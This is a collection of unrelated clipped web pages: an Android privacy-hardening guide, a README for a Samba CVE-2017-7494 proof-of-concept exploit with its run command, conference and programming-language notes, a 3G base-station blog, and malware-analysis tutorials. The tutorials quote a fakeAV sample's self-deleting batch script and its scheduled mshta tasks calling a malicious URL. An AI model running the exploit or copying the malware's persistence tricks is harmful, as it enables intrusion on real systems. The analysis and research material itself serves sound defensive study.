  * CatLog

In addition to being supercute, CatLog is an excellent Android monitoring and
debugging tool. It allows you to monitor and record the full set of Android
log events, which can be helpful in diagnosing issues with apps.

  * OS Monitor

OS Monitor is an excellent Android process and connection monitoring app, that
can help you watch for CPU usage and connection attempts by your apps.

  * Intent Intercept

Intent Intercept allows you to inspect and extract Android Intent content
without allowing it to get forwarded to an actual app. This is useful for
monitoring how apps attempt to communicate with eachother, though be aware it
only covers one of the mechanisms of inter-app communication in Android.

# Backing up Your Device Without Google

Now that your device is fully configured and installed, you probably want to
know how to back it up without sending all of your private information
directly to Google. While the Team Win Recovery Project will back up all of
your system settings and apps \(even if your device is encrypted\), it
currently does not back up the contents of your virtualized /sdcard.
Remembering to do a couple adb pulls of key directories can save you a lot of
heartache should you suffer some kind of data loss or hardware failure \(or
simply drop your tablet on a bridge while in a rush to catch a train\).

The backup.sh script uses adb to pull your Download and Pictures directories
from the /sdcard, as well as pulls the entire TWRP backup directory.

Before you use that script, you probably want to delete old TWRP backup
folders so as to only pull one backup, to reduce pull time. These live in
**/sdcard/TWRP/BACKUPS/** , which is also known as
**/storage/emulated/0/TWRP/BACKUPS** in the File Manager app.

To use this script over the network without a usb cable, enable both USB
Debugging and ADB Over Network in your developer settings. The script does not
require you to enable root access from adb, and you should not enable root
because it takes quite a while to run a backup, especially if you are using
network adb.

Prior to using network adb, you must edit your Droidwall custom scripts to
allow it \(by removing the '\#' in the **\#. /etc/firewall-adb.sh** line you
entered earlier\), and then run the following commands from a non-root Linux
shell on your desktop/laptop \(the _ADB Over Network_ setting will tell you
the IP and port\):

[code]

    killall adb
    adb connect ip:5555
    
[/code]

Network adb also has the advantage of not requiring root on your
desktop/Laptop.

**VERY IMPORTANT** : Don't forget to disable _USB Debugging_ , as well as the
Droidwall adb exemption when you are done with the backup\!

# Removing the Built-in Microphone

If you would really like to ensure that your device cannot listen to you even
if it is exploited, it turns out it is very straight-forward to remove the
built-in microphone in the Nexus 7. There is only one mic on these devices,
and it is located just below the volume buttons \(the tiny hole\).

To remove it, all you need to do is pop off the the back panel \(this can be
done with your fingernails, or a tiny screwdriver\), and then you can shave
the microphone right off that circuit board, and reattach the panel. I have
done this to one of my devices, and it was subsequently unable to record audio
at all, without otherwise affecting functionality.

You can still use apps that require a microphone by plugging in headphone
headset that contains a mic built in \(these cost around $20 and you can get
them from nearly any consumer electronics store\). I have also tested this,
and was still able to make a Linphone call from a device with the built in
microphone removed, but with an external headset. Note that the 2012 Nexus 7
does **not** support these combination microphone+headphone jacks. You must
have the 2013 model.

The 2013 Nexus 7 Teardown video can give you an idea of what this looks like
before you try it \(Opt-In to HTML5 to view in Tor Browser without flash\).
Again you do not need to fully disassemble the device - you only need to
remove the back cover.

# Future Work

In addition to creating proper UI and streamlining the contents of this post
into a single additional Cyanogenmod installation zip or alternative ROM, the
following problems remain unsolved.

## Future Work: Bug Bounty Program

If there is sufficient interest in this prototype, and/or if it gets
transformed into a usable addon package or ROM, we may consider running a bug
bounty program where we accept donations to a dedicated Bitcoin address, and
award the contents of that wallet to anyone who discovers a Tor proxy bypass
issue or remote code execution vulnerability in any of the network-enabled
apps mentioned in this post \(except for the Browser app, which does not
receive security updates\).

## Future Work: Port Tor Browser to Android

The Guardian Project is undertaking a port of Tor Browser to Android as part
of their OrFox project. This will greatly improve the privacy of your web
browsing experience on the Android device over both Firefox and Chrome. We
look forward to helping them in any way we can with this effort.

## Future Work: WiFi MAC Address Randomization

It is actually possible to randomize the WiFi MAC address on the Google Nexus
7. The closed-source root app Mac Spoofer is able to modify the device MAC
address using Qualcomm-specific methods in such a way that the entire Android
OS becomes convinced that this is your actual MAC.

However, doing this requires installation of a root-enabled, closed-source
application from the Google Play Store, which we believe is extremely unwise
on a device you need to be able to trust. Moreover, this app cannot be autorun
on boot, and your MAC address will also reset every time you disable the WiFi
interface \(which is easy to do accidentally\). It also supports using only a
single, manually entered MAC address.

Hardware-independent techniques \(such as a the Terminal command **busybox
ifconfig wlan0 hw ether <mac>**\) appear to interfere with the WiFi management
system and prevent it from associating. Moreover, they do not cause the
Android system to report the new MAC address, either \(visible under _Settings
- > About Tablet -> Status_\).

Obviously, an Open Source F-Droid app that properly resets \(and automatically
randomizes\) the MAC every time the WiFi interface is brought up is badly
needed.

## Future Work: Disable Probes for Configured Wifi Networks

The Android OS currently probes for all of your configured WiFi networks while
looking for open wifi to connect to. Configured networks should not be probed
for explictly unless activity for their BSSID is seen. The xda-developers
forum has a limited fix to change scanning behavior, but users report that it
does not change this probing behavior for already configured networks.

## Future Work: Recovery ROM Password Protection

An unlocked recovery ROM is a huge vulnerability surface for Android. While
disk encryption protects your applications and data, it does not protect many
key system binaries and boot programs. With physical access, it is possible to
modify these binaries through your recovery ROM.

The ability to set a password for the Team Win recovery ROM in such a way that
a simple "_fastboot flash recovery_ " would overwrite would go a long way to
improving device security. At least it would become evident to you if your
recovery ROM has been replaced, in this case \(due to the absence of the
password\).

It may also be possible to restore your bootloader lock as an alternative, but
then you lose the ability to make backups of your system using Team Win.

## Future Work: Disk Encryption via TPM or Clever Hacks

Unfortunately, even disk encryption and a secure recovery firmware is not
enough to fully defend against an adversary with an extended period of
physical access to your device.

Cold Boot Attacks are still very much a reality against any form of disk
encryption, and the best way to eliminate them is through hardware-assisted
secure key storage, such as through a TPM chip on the device itself.

It may also be possible to mitigate these attacks by placing key material in
SRAM memory locations that will be overwritten as part of the ARM boot
process. If these physical memory locations are stable \(and for ARM systems
that use the SoC SRAM to boot, they will be\), rebooting the device to extract
key material will always end up overwriting it. Similar ARM CPU-based
encryption defenses have also been explored in the research literature.

## Future Work: Download and Build Process Integrity

Beyond the download integrity issues mentioned above, better build security is
also deeply needed by all of these projects. A Gitian descriptor that is
capable of building Cyanogenmod and arbitrary F-Droid packages in a
reproducible fashion is one way to go about achieving this property.

## Future Work: Removing Binary Blobs

If you read the Cyanogenmod build instructions closely, you can see that it
requires extracting the binary blobs from some random phone, and shipping them
out. This is the case with most ROMs. In fact, only the Replicant Project
seems concerned with this practice, but regrettably they do not support any
wifi-only devices. This is rather unfortunate, because no matter what they do
with the Android OS on existing cell-enabled devices, they will always be
stuck with a closed source, backdoored baseband that has direct access to the
microphone, if not the RAM and the entire Android OS.

Kudos to them for finding one of the backdoors though, at least.

# Changes Since Initial Posting

  1. Updated firewall scripts to fix Droidwall permissions vulnerability.
  2. Updated Applications List to recommend VLC as a free media player.
  3. Mention the Guardian Project's planned Tor Browser port \(called OrFox\) as Future Work.
  4. Mention disabling configured WiFi network auto-probing as Future Work
  5. Updated the firewall install script \(and the android-firewall.zip that contains it\) to disable "Captive Portal detection" connections to Google upon WiFi association. These connections are made by the _Settings_ service user, which should normally be blocked unless you are Activating Google Play for the first time.
  6. Updated the Executive Summary section to make it clear that our SIP client can actually also make normal phone calls, too.
  7. Document removing the built-in microphone, for the truly paranoid folk out there.

# omri9741/cve-2017-7494

**Created:**| _5/28/2017 11:08:58 AM_  
---|---  
**Updated:**| _5/28/2017 11:08:58 AM_  
**Author:**| __  
**Tags:**| _Exploit poc_  
  

  

# Basic Setup

## Install Samba version 4.5.9

` https://download.samba.org/pub/samba/stable/samba-4.5.9.tar.gz ` `
https://wiki.samba.org/index.php/Build_Samba_from_Source `

## Get patched version of Impacket

` pip install -r requirements.txt `

# Usage

  1. Start Samba server in interactive mode + debug print

` sudo /home/ubuntu/samba-4.5.9/bin/smbd -i --debuglevel=10
--configfile=/etc/samba/smb.conf `

  2. Copy **libpoc.so** to target share
  3. HAVE FUN\!

` exploit.py -t x.x.x.x -m /path/to/libpoc.so `

<img src='img/13840_screenshot.png' width='844' height='711' alt='Screenshot'
/>

  

# REcon'13 / REhints.com

**Created:**| _9/27/2013 11:09:50 AM_  
---|---  
**Updated:**| _9/27/2013 11:09:50 AM_  
**Author:**| __  
**Tags:**| _bookmark conference-material_  
  

# **R** Econ'13****

REcon conference  has been a great event this year**\!** For us, it’s one of
the most interesting conferences to present research about hardcore reverse
engineering stuff**.** In this year most of the talks at REcon were focused on
hardware reverse engineering**.** So we are those of a few people who were
speaking about software RE and presented our talk **Reconstructing Gapz:
Position-Independent Code Analysis Problem****.**

<img src='img/Temp2_6690.jpg' />

All the requests for beta testing on **info@rehints.com** will be processed in
the middle of July**.** Right now we are working on all the announced features
to make it stable**.** Thanks for your feedback and support\!

And here are the slides on slideshare:

The pdf version of our presentation is available at publications repository
**.**

****

# decac - A higher-level assembly language - Google Project Hosting

**Created:**| _10/24/2011 11:28:15 AM_  
---|---  
**Updated:**| _10/24/2011 11:28:15 AM_  
**Author:**| __  
**Tags:**| _asm C_  
  
Deca is a language designed to provide the advanced features of sophisticated,
high-level programming languages while still programming as close as possible
to the bare metal. It brings in the functional, object-oriented, and generic
programming paradigms without requiring a garbage collector or a threading
system, so programmers really only pay in performance for the features they
use. Deca provides:

  * Variants
  * Tuples 
  * Tail-call optimization \(via LLVM\) 
  * Static type inference that takes subtyping into account 
  * Universally-quantified types \(aka generics\) 
  * Existentially-quantified types \(aka abstract data-types\) 
  * Unboxed data representation
  * A strong region-and-effect system that allows such things as escape analysis on lvalues 
  * Compilation to LLVM assembly language, and thence to bare-metal binary code. 

Deca will provide:

  * UTF-8 strings 
  * First-class functions, including lexical closures and lambdas
  * Pattern matching 
  * A CLOS-style object system with multimethods and their overrides operating on variants 
  * Exceptions and exception handling \(really just a special case of variants with some LLVM intrinsics to pass them up the stack\) 
  * Scoped implicit parameters \(for type-based dispatch as in type-classes\) 
  * Hierarchical modules 
  * Binary compatibility for linking to libraries written in C 

Deca will **not** include:

  * Binary compatibility with C++ 
  * Pointer arithmetic \(except through bit-casts to integers and back\) 
  * Lispy macros or syntax 
  * Lispy or Smalltalkish image-based execution 
  * Lazy evaluation \(users can create their own thunks\) 

Deca will never _require_ :

  * Garbage collection 
  * A virtual machine of any kind 
  * A run-time library or class library 
  * An operating system to run atop 
  * An extensive knowledge of category theory. 

There are some simple code examples in the repository. They currently
demonstrate some rather simple use of the type system and pattern matching by
writing out an implementation of cons cells and some basic higher-order
functions dealing with list processing. A malloc implementation is coming
soon.  
---

# Dieter Spaar's blog

**Created:**| _2/3/2012 12:42:04 PM_  
---|---  
**Updated:**| _2/3/2012 12:42:10 PM_  
**Author:**| __  
**Tags:**| _DSP wireless gsm_  
  
**Running your own Node-B**  
Its now nearly 3 and a half year ago that I wrote the first "Proof-of-Concept"
code to get the Siemens BS-11 GSM Basestation up and running. So I think it
was time to start with 3G, now that LTE is being actively deployed. You also
can sometimes find reasonable priced, used Node-Bs which makes getting access
to the equipment possible. A Node-B is the 3G equivalent of a GSM BTS.  So I
spent quite a lot of time spread of several months to get a Node-B up and
running. Compared with the BS-11 this was a **lot** more difficult and
required much more time. Of course the Air Interface is completely different,
in my case I looked at WCDMA FDD so far, there a few more standards used in
other parts of the world. Then you have to deal with a huge, different
specification, the most important when dealing with a Node-B are NBAP \(TS
25.433\) and RRC \(TS 25.331\), around 3000 pages in total. NBAP, the Node-B
Application Part, is used to configure the Node-B and do things like creating
Radio Links \(communication channels\) to the phone. RRC, the Radio Resource
Control, is the Layer-3 protocol for the control plane between the phone and
the access network. It is responsible for accessing the network, setting up
and releasing connections or paging a phone. Both NBAP and RRC make use of
ASN.1 which makes things not necessarily easier ;-\) There are a few more
protocols on the lower layers involved like MAC \(TS 25.321\), RLC \(TS
25.322\) and FP \(TS 25.435 and TS 25.427\).  The Node-Bs I used can run "Iub
over IP" \(Iub is the interface between the Node-B and the RNC, similar to
Abis in GSM between the BTS and BSC\). Originally Iub is based on ATM which
runs over E1/T1 or similar lines with higher data rates. However "Iub over
ATM" adds a few more protocol layers for dealing with ATM and I really wanted
to avoid this additional complexity. Not all Node-Bs can automatically do "Iub
over IP", usually it requires an additional hardware option \(interface
card\). When using "Iub over IP" you have to deal with protocols like UDP and
SCTP which are much more convenient.  The current status is a very minimal
implementation of something like an RNC to run the Node-B so that a phone can
register on the network and do simple things like SMS on the control plane. No
user plane like speech or data yet, but this is the next steps I plan to do.
The code is not yet public but it will be when it gets more evolved.  There is
still a lot left to research and experiment with. For example I haven't looked
at things like HSPA yet, I completely ignore handover to other cells as there
is only one cell in my experimental setup. So I am sure 3G will give a few
more years of a very interesting field to play with before looking at LTE ;-\)
\[  
---

# Sample Analysis 1 Static Results

**Created:**| _12/12/2010 12:36:34 PM_  
---|---  
**Updated:**| _12/12/2010 12:48:28 PM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis Tutorials awesome_  
  

### Sample Analysis 1 Static Results

The following is the static analysis details that I found with the Sample
Analysis 1 binary that we posted previously. If you have done static analysis
of this file as well, follow along and see if you found similar details. We
attempt to get as detailed as possible, but we do have day jobs so there may
be things inside the malware that we do not discuss. This is meant more to
analyze the sample until we are happy that we understand the basic
functionality of the malware.  
  
Sample Analysis 1 Report:  
  
MD5: 49d7498e4543027046795d076e47f1ac  
Fuzzy
hash:12288:AHlawHGMpk7lZWnIoWbq47TxC1+HK12XsfQJZUM0SsoSmjCbcZRcHPM:AHlnH47leIA4Y1D2XkmZ5dOaCHP  
Virus Total Results: Show us 37 out of 41hits as a malicious file. Most of the
descriptions call this fakeAV, surprise :\)  
Bin Text: When opening the file in BinText, it gave an error saying there was
a problem reading the string resource file. The file may be compressed or in a
non standard format. Looking though the strings that did show, didn't reveal
much, though I did see references to the Delphi programming language. We also
see some information mentioning use of the registry.  
  

<img src='img/Temp2_7231.png' width='320' height='272' />

When I dropped this file into PEiD, I see the possible reason for BinText to
complain. It looks like our sample is packed with UPX.  
  

<img src='img/Temp2_7228.png' width='320' height='272' />

I then tried to unpack this just using the standard UPX package available from
Sourceforge. The command line used is upx.exe -d <filename>. This appeared to
unpack successfully. I did want to note here that when you unpack a UPX packed
file it just unpacks the copy of the file you ran it against. This means you
no longer have the packed version. If you want to save the packed file for
some other reason, make a copy before you do this.  
  

<img src='img/Temp2_7238.png' width='320' height='272' />

Now I put the file back into PEiD. Now we see Borland Delphi 6.0 - 7.0. This
looks like we now have removed the packing.  
  

<img src='img/Temp2_7215.png' width='320' height='272' />

  
Just for kicks, I want to dump this unpacked file back into BinText to see if
there are any new strings to be seen. This time when I dropped the file in
BinText, no errors\! There are a ton of readable strings now\! This sample
seems like it has a ton of options. Looking through the strings, one major
thing I notice is there are a lot of functions with GUI context such as
OnMouseActivate, OnMouseDown, OnMouseUp, and PopUpMenu.  
  
I also see a lot of references to web browser. This application seems to be
very GUI driven. There are still some obfuscated strings in the unpacked
version so at this time, I'll take the file into Ollydbg.  
  
This sample has some protection schemes even though we have unpacked it. I
have been jumping around in Ollydbg in order to find some way to bypass them.
I have attempted to use the HideOD plugin. I also noticed some SEH calls that
would terminate the application. To fix these things I told Ollydbg to ignore
exceptions. You do this by going into the Options menu, then choose Debugging
Options. Click the exception tab. Put a check in all of the options. At the
bottom, you will see a section called ignore also following custom exceptions
or ranges. Click the Add range button and enter 00000000 as the beginning and
FFFFFFFF as the ending address. Your screen should look like the following:  
  

<img src='img/Temp2_7232.png' width='320' height='272' />

For the HideOD plugin, we navigate to the Plugins menu, HideOD then choose
options. Enable all of the options. You screen should look like the following:  
  

<img src='img/Temp2_7226.png' width='320' height='272' />

You will want to restart Ollydbg for this to take. Once Ollydbg is open, you
should be able to get a little further into the program.I started stepping
over instructions and keeping an eye on the stack for interesting data. At
memory location 403CE6 I found myself stuck in a loop. I looked through the
loop and found TEST EBX, EBX followed by a JMP SHORT. If this is equal, then
it will jump. I changed to stepping into \(F7\), until this test. At that
point I double clicked the EBX register in the registers window. For those of
you who aren't familiar with Ollydbg, this is the window on the upper right of
the screen. I change the value of EBX to 00000000. This got me out of the
loop.  
  

<img src='img/Temp2_7222.png' width='320' height='272' />

After stepping further into the code, I noticed the ASCII text of Microsoft
Security Essentials Alert on the stack.  

<img src='img/Temp2_7214.png' width='320' height='272' />

After some time I kept finding myself at 7C92A2F5. This was decrementing EAX
then jumping if not zero. I noticed that EAX had a value of 1 so I change this
to 0. This seemed to get me past that loop as well.  
  
This seems to have allowed me to get further along. While stepping into
instructions I noticed a file created called agtyjkj.bat in the stack section.
This file contained the following code:  
  
:dsfgdfh  
del "C:\Documents and
Settings\installer\Desktop\adobeflashplayerv10.0.32.20.exe"  
if exist "C:\Documents and
Settings\installer\Desktop\adobeflashplayerv10.0.32.20.exe" goto dsfgdfh  
del "C:\Documents and Settings\installer\Application Data\agtyjkj.bat"  
  
This code looks like it tries to delete the original file and if it doesn't
exist any more then it removes the bat file. While in that directory, I
noticed another new file named hotfix.exe a quick hash of the file shows that
it's the same as our original but renamed.  
  
This also goes to show that sometimes even when you are doing static analysis,
it might be more helpful to do a little dynamic analysis as well. This is
especially true when you have a sample like this that has protections and
obfuscation.  
  
I decided at this time to dig through the stack section in Ollydbg to see what
else might be learned from there. For those of you that might not be familiar
with Ollydbg this is the window in the lower right hand side. I found a
reference to at.exe as can be seen below:  
  

<img src='img/Temp2_7225.png' width='320' height='272' />

If your not familiar with at.exe, this is the command line equivalent to the
task scheduler. Depending on how this is called, these items may or may not
show in the Scheduled Tasks folder in the control panel. If they don't, you
can see them by issuing the at command on the command line. It turns out, that
these are showing in the Scheduled Tasks. It looks like this sample created
quite a few \(possibly 72 tasks\).  
  

<img src='img/Temp2_7227.png' width='320' height='272' />

Looking at these tasks, we see mshta.exe being used to call some random urls.
Most look like http://funnyraccoonshow.com/gspwjg.php?fjfnsl=815400370451178.
MSHTA.exe is used to allow execution of .hta files. It looks like these tasks
are set to run just about every hour. Without going further in dynamic
analysis I would assume this is where the html comes from for the fake AV
application. It looks like our sources at Virus Total were probably correct in
their categorization.  
  
That is about all I have time for today. I hope you saw from this analysis
that it isn't always necessary to know assembly to statically analyze code.
This is one of those samples where dynamic analysis would probably reveal more
easier, but we see that we were able to come to the same conclusion just by
looking at the code. Sure I used a little assembly to get out of some loops,
but there were no ground breaking techniques done just simple register
modification thanks to Ollydbg for allowing us to do so.  
  
You can look for Jamy's post on what he found from dynamic analysis to come
soon. In the mean time, we are trying to come up with a way to get these
samples to you guys if the sites are taken down before you get them. I hope to
have a solution before the next sample post.

Posted by Curt Shaffer at 2:28 PM 0 comments <img src='img/Temp2_7233.png'
width='18' height='18' />

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

Labels: Static Analysis

## Monday, November 29, 2010

### Sample Analysis 1

I apologize for not posting a primer on OllyDBG. Things are pretty busy with
work and life. I know that's not a good excuse but it's all I got :\). In the
mean time, here is a link to the sample we are currently analyzing. We will
post our results, both static and dynamic in the next week or so. Check back.
In the mean time, don't forget that we Tweet anytime there is a site update.
If you want to follow us it's @inetopenurla.  
  
The latest sample can be found here.  
  
Check back soon for the analysis. Also, if you have a sample you would like us
to analyze you can email it to us at inetopenurla \(at\) gmail\[dot\]com. Just
put it in a password protected zip file with a password of infected.  
  
I promise to add a primer to OllyDBG soon as well.

Posted by Curt Shaffer at 7:32 AM 7 comments <img src='img/Temp2_7233.png'
width='18' height='18' />

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

## Sunday, November 14, 2010

### Intro to Static Analysis Part 3

In this post I'm going to introduce you to IDA Pro. This is a disassembler
application that is commonly used in the reverse engineering field. There are
many other applications like this, but if you plan to do this as a job, it
would be a good idea to at least learn this interface in my opinion. Next week
we will look at another good and similar tool called OllyDBG.  
  
In my example I actually am running the latest version of IDA Pro and it's
sister product called Hex-Rays. Hex-Rays is a decompiler application which
adds a nice feature set to IDA. You can download a free trial of IDA Pro to
see what the newer version offers you. Alternately, they offer a free version
which is a few features behind. You can download that here. You can do most of
what we will go over on this post with the free version. If you are serious
about reverse engineering, or do it for a living I would highly recommend
getting the Hex-Rays add on. It really breaks out code in a nice readable
format, especially for someone that may not be as strong in assembly
programming. This is just my opinion, so take it for what it's worth.  
  
Overall your really looking at under $4,000 bucks for a set of tools that is
going to save you a ton of time once you become familiar with them.  
  
So on to the analysis. As always these links direct you to known malicious
software. We hold no responsibility on your machine getting infected to a
point where you can not recover or credentials that may be stolen due to
improper handling. Please only analyze this and all samples in a secured lab
environment.  
  
I went out to grab a new file from Malware Domain List. The malware I
downloaded this week can be found here.  
  
Let's open this in IDA Pro. You can do this in a few different ways. You can
drag the file onto the IDA Desktop shortcut or you can open IDA Pro, Choose to
Dissamble a new file by clicking the New Button.  
  

<img src='img/Temp2_7236.png' width='320' height='260' />

  
  
  
Navigate to the file you want to disassemble and choose open:  
  
  

<img src='img/Temp2_7212.png' width='320' height='260' />

In most cases IDA will automatically recognize the processor type and options
needed to open the file. You can modify these if you know that this is not
correct from earlier inspection. A quick note is that normally I move on to
IDA Pro or something similar after doing the steps we outlined previously.
Therefore I may already know some things about the file such as what
architecture the file is created for or if it is packed or not.  
  
If the malware is packed or encrypted, which a lot of malware today is, there
are many more steps which you may need to do before you can open the file in
IDA and analyze it fully. This post does not go into these details. We may add
a post on beating obfuscation at another time.  
  
This specimen did appear to be packed with UPX. So we just unpacked it with
the following command:  
  

<img src='img/Temp2_7216.png' width='320' height='200' />

  
In this case, we will keep the default options and click OK:  
  

<img src='img/Temp2_7223.png' width='320' height='260' />

Depending on how big the malware is, this may be quick or it may take some
time. The first couple things I do once this is done is to take a look around
at a few screens. This time taken helps me understand how much work may be
ahead of me by how much IDA has recognized automatically. I will let you know
that my screen shots will be a little different than yours if you are using
the Freeware version. Version 6 looks a bit different even though all of the
windows and options are still there. You may just need to hunt around to see
where your version is displaying the same information.

  

  

One of the first boxes I look at is the Names window. If you don't see the
Names window, you can go to the view menu, click open subviews and choose
names. Alternately you can hit Shift + F4. This Names window is going to show
you names of APIs or type libraries it was able to recognize automatically.
These may not be written with names that immediately tell their function, but
sometimes they are. If they are pretty descriptive, then that may be less work
that we need to do. Here is a screen shot of what this sample looks like when
we first open it:

  

  

<img src='img/Temp2_7208.png' width='320' height='200' />

  

As you can see in the Names view, some of the names are pretty easy to
distinguish, some are not. So you cannot always judge a function by that.  
  
The next thing I generally look at is the Function subview. The functions
window shows us the subroutines available in the sample. In some cases you
will see names of these functions and in some cases, they will have generic
names such as sub\_xxxx where xxxx is the memory location of the routine. The
reason IDA will show these names is if it matched a type library that IDA
knows. The more named functions you have, the easier disassembly generally is.  
  
In our case, IDA named a number of functions. This will help us significantly
ahead because we don't need to figure out what they do necessarily. Here is
the screen shot of the Functions window of our sample:  
  

<img src='img/Temp2_7220.png' width='320' height='200' />

  

The next thing we can look at is the strings window. This will be a listing of
all of the strings that IDA was able to recognize in the binary. We used
strings in our previous posting, so this may not be new news to you. If you do
not see the stings window, you can go to view, click open sub views and choose
Strings. Alternately you can hit Shift + F12. Here is a screen shot of the
strings of our current sample:  

<img src='img/Temp2_7207.png' width='320' height='200' />

  

As we learned last week, we see some interesting things right away. In this
sample there are some strings which can help us understand some of the
functions, but unlike the last sample, there are only a few which immediately
make sense. We can learn a lot from the strings in a file, but a word of
warning is that some malware authors will also put Red Herring strings in a
file to throw you off.  
  
If you look across the top of the view window, but under the command menus,
you see a multi colored line. This is your binary time line so to speak. This
will show you where you are in the binary at the current time. You will notice
a little yellow arrow. This arrow shows you exactly where you are at the
moment. As you can see in the following screen shot, IDA dumped us off at a
function called Start. This is because IDA recognized this function as a
potential entry point into the binary. You can view the Exports sub view to
see other possible entry points. In our case we only have one Export listed at
this time.  
  

<img src='img/Temp2_7211.png' width='320' height='200' />

  

  
The imports sub view shows us all of the functions or APIs that the binary is
using. In our example, it looks like all of the imports are coming from the
standard Microsoft libraries.  
  
If we navigate to the Type Library sub view, we will see what IDA thinks was
the compiler used to create the sample. In our case, it says MS SDK\(Windows
XP\). This let's us know the binary file was created with the standard
Microsoft SDK platform which is used to compile applications for operating
systems such as Windows XP, Windows Server 2003 etc.  

<img src='img/Temp2_7221.png' width='320' height='200' />

  

Now on to do job at hand. We will navigate to the IDA View and start to figure
out what this thing is doing. To keep this post short, I'm only going to show
a few pieces.  
  
The start function appears to be setting up the stack with a number of
variables. It then calls a sub routine at 004F8C0A. The call is to
sub\_407FB0. If you hover over the sub routine, you will see a small
information box appear which will show you the details of the function:  
  

<img src='img/Temp2_7237.png' width='320' height='200' />

Alternately you can navigate to the sub routine by double clicking the value.
Which we will do here.  

<img src='img/Temp2_7230.png' width='320' height='200' />

This sub routine appears to get a handle on an already loaded module. This
module needs to be loaded before this call. The lpModuleName should contain
the module we are trying to get a handle on. Here it appears to be 0. This
appears to tell us that it returns the handle to the file used to create the
process per the MSDN documentation on GetModuleHandleW.  
  
Let's rename this sub routine get\_handle\_on\_parent. We do this by right
clicking on the sub routine name and choose rename.  
  

<img src='img/Temp2_7235.png' width='320' height='200' />

We then rename the routine to what we want.  

<img src='img/Temp2_7219.png' width='320' height='200' />

After clicking OK, you may get a warning that the name length exceeds the
limit \(15\). Do you want to increase the limit. Click Yes. You will now see
the more meaningful name in the code. Anywhere this sub routine is referenced
will be changed automatically for you as well.  
  

<img src='img/Temp2_7213.png' width='320' height='200' />

You will now run through the remaining sub routines and name them
appropriately. This will help make more sense of the code. You may not get the
sense of all of the routines. One word of advise that I would give is to spend
a few minutes trying to figure out what it does. If you don't get it, don't
sweat it. Move on to another and identify all of the routines you can. Maybe
then, others will start to make sense and you will be able to figure them out.  
  
I'm not going to go into detail on this sample. I was really using this as an
introduction to IDA Pro. Next post, I will do the same thing but with OllyDBG.
One last thing I will show is how the Hex-Rays decompiler helps make
understanding functions a little easier. I have highlighted the sub routine
that I want to understand in the following screen shot located at 00403D69:  

<img src='img/Temp2_7229.png' width='320' height='200' />

  

  
I will now navigate to the view menu, open sub views and then choose
Pseudocode. Alternately you can press F5. This will open a new window called
Pseudocode-A for the first window and subsequently Pseudocode-B, Pseudocode-C
etc. Below is what that window looks like for this routine:  
  
  

<img src='img/Temp2_7234.png' width='320' height='200' />

<img src='img/Temp2_7240.png' width='320' height='200' />

As you can see, that looks a lot like standard programming which you may be
more comfortable with than Assembly as I am. The more you clean up your
functions and variable names, the easier this will be to read. If you know
programming at all though, you can get the jest of it without cleaning much.  
  
Again, you may be eager to learn what this sample does, but alas I am not
going to fill that void for you this week. I just wanted to show some general
options that are available in IDA Pro to help you understand what a binary
does via static analysis.  
  
If you have any questions, please let us know. In my next post, I will take
you through some of the features of OllyDBG. After that post, we will begin
our analysis only posts. I hope you have found this helpful.

Posted by Curt Shaffer at 3:24 PM 0 comments <img src='img/Temp2_7233.png'
width='18' height='18' />

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

Labels: Static Analysis

## Sunday, October 31, 2010

### Intro to Static Analysis Part 2

This week I plan to go a bit more in detail on each of the steps from last
week. I was going to get into deeper items such as using disassemblers and
such, but I will go there in the next two posts. I really wanted everyone to
see just how much you can learn from just doing the simple things I discussed
on the last post.  
  
Here are the steps from last post step by step with screen shots. For the
sample, I just went to Malware Domain List and grabbed a suspected malware
sample from that page.  
  
I will warn you now as always. You should only be downloading and executing
the following sample in a lab environment. If you don't know how to do that,
watch for Jamy's next post where he will start you down that path.  
  
This weeks sample can be downloaded here.  
  
I don't know what this sample does right now. I'm looking at it for the first
time just as you are :\)  
  
First I'm going to boot my lab environment and pull the sample into it. Then
I'm going to run a hash application to get the digital fingerprint of the
binary.  
  
I just installed the Malcode Analyst Pack. This will give us a handy right
click menu to obtain the MD5 Hash and Strings. So I right click the file and
choose MD5 Hash. Here is the result:  
  

<img src='img/Temp2_7218.png' width='320' height='272' />

  
As you can see, the hash value of our sample is
121340AA444B4D4153510C0BE58D4D61. We will jot this down in our notes.  
  
Next we will take our fuzzy hash with SSDEEP. In this example we will use the
SSDEEP Front End. This is a nice little GUI to make things easy. When we first
open the application, we need to choose Create or Append Hash Value. We will
choose Single File as our Input. Click the Choose Input button and navigate to
where you have your sample, as seen below:  
  

<img src='img/Temp2_7217.png' width='320' height='274' />

Next, we click the Choose Output button. This will open an Explorer window,
where you can choose where you would like your output to go. Here we are going
to choose to put it on the Desktop so we can find it easy. I generally name
the file: <filename>\_exe \(or dll if it's a dll\). This is just my method to
know what the name is and what that sample it goes with. Click the Open
button. You then need to click the Execute button.  
  
A dialog box will pop up telling you that you are about to run a batch file,
and that a DOS box is about to pop up. Click the yes button to continue.  
  
A DOS box will pop up for a second and go away. You will be left back at the
main screen of the SSDEEP Front End. You can choose Exit at this time.  
  
You now have the file on your desktop. Double Click to open it. Windows will
ask you what application you would like to use to open the file. Choose to
select a program from a list and click OK. I normally use the Notepad
application for these, but you can use any text editor or viewer that you
want. I generally also choose to always use the selected program to open this
type of file. That way I don't need to choose every time.  
  
As you can see from the screen shot below. Our fuzzy hash is  
  
3072:HPZJsRgSmHWii6X4/QDDu3vDTw/hkfSUJjLTJra:vZJkjiie44DC/A/hkfSUJjPJr,"mdktask.exe"  
  

<img src='img/Temp2_7239.png' width='320' height='272' />

  
The next thing we are going to do is take our Hash value and search Virus
Total to see if anyone has submitted this sample before. So we navigate to
http://www.virustotal.com. We will click the Search link and paste our Hash
value in and hit search.  
  
As you can see from the following screen shot someone has submitted this
sample and 25 our of 41 anti virus applications say it's a virus.  
  

<img src='img/Temp2_7209.png' width='320' height='200' />

  
  
Next, we want to classify the file. To do this, we are going to use TRiD.
Ensure you download the latest definition files from here. Once you run TriD,
you will need to point to your definition xml file. Choose the Browse button
on the bottom right of the application. Navigate to your definition files and
choose the first listed xml file in the directory. I generally put the xml
files in a folder called Defs in the TRiD application folder.  
  
You will want to choose Browse on the top to choose our sample we want to
analyze. After choosing the file, we click the Analyze button and get the
results. As you can see below we have a match of 86% of a Windows 32
Executable file, potentially written in Visual Basic 6.  
  

<img src='img/Temp2_7224.png' width='320' height='272' />

Normally at this point, we would run the sample through a few other similar
applications to see if anything new is found. To keep this post relatively
short, I'm going to bypass that. I'm also not going to upload the sample to
